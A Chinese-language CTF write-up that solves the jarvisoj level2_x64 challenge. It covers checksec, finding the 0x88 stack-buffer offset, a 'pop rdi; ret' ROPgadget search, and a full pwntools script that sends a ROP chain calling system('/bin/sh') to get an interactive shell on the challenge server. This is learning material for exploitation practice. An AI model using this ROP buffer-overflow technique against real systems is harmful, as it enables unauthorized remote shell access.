[pwn] 刷题记录1 jarvisoj level2_x64

二次信任 提交于 2020-01-27 15:54:11

先用checksec检查一下
在这里插入图片描述
只开启了NX保护
打开ida,找到buf
在这里插入图片描述
点击buf查看长度算出偏移量为0x80+8(64位)
在这里插入图片描述是
由于64位的参数传递是用edi传递,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。(摘自 yudhui)
ROPgadget --binary level2_x64.04d700633c6dc26afc6a1e7e9df8c94e -- only 'pop|ret' |grep 'rdi'
0x00000000004006b3 : pop rdi ; ret
找到程序的pop rdi地址;
bin地址
在这里插入图片描述
找到bin和system地址。
之后就可构造exp了

from pwn import *
sh = remote('pwn2.jarvisoj.com',9882)
offset = 0x88
popaddr = 0x4006b3
binaddr = 0x600a90
sysaddr = 0x40063e
payload = offset*'a' + p64(popaddr)+p64(binaddr)+p64(sysaddr)
sh.recvline()
sh.sendline(payload)
sh.interactive()
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!